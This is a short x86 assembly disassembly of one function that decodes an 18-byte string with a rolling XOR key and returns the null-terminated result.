mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x1a
mov dword [ebp - 4], 0
jmp 0x10012ad2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12
jge 0x10012b11
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x7d1d0edb]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10012b0c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10012ac9
mov eax, 1
imul ecx, eax, 0x12
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4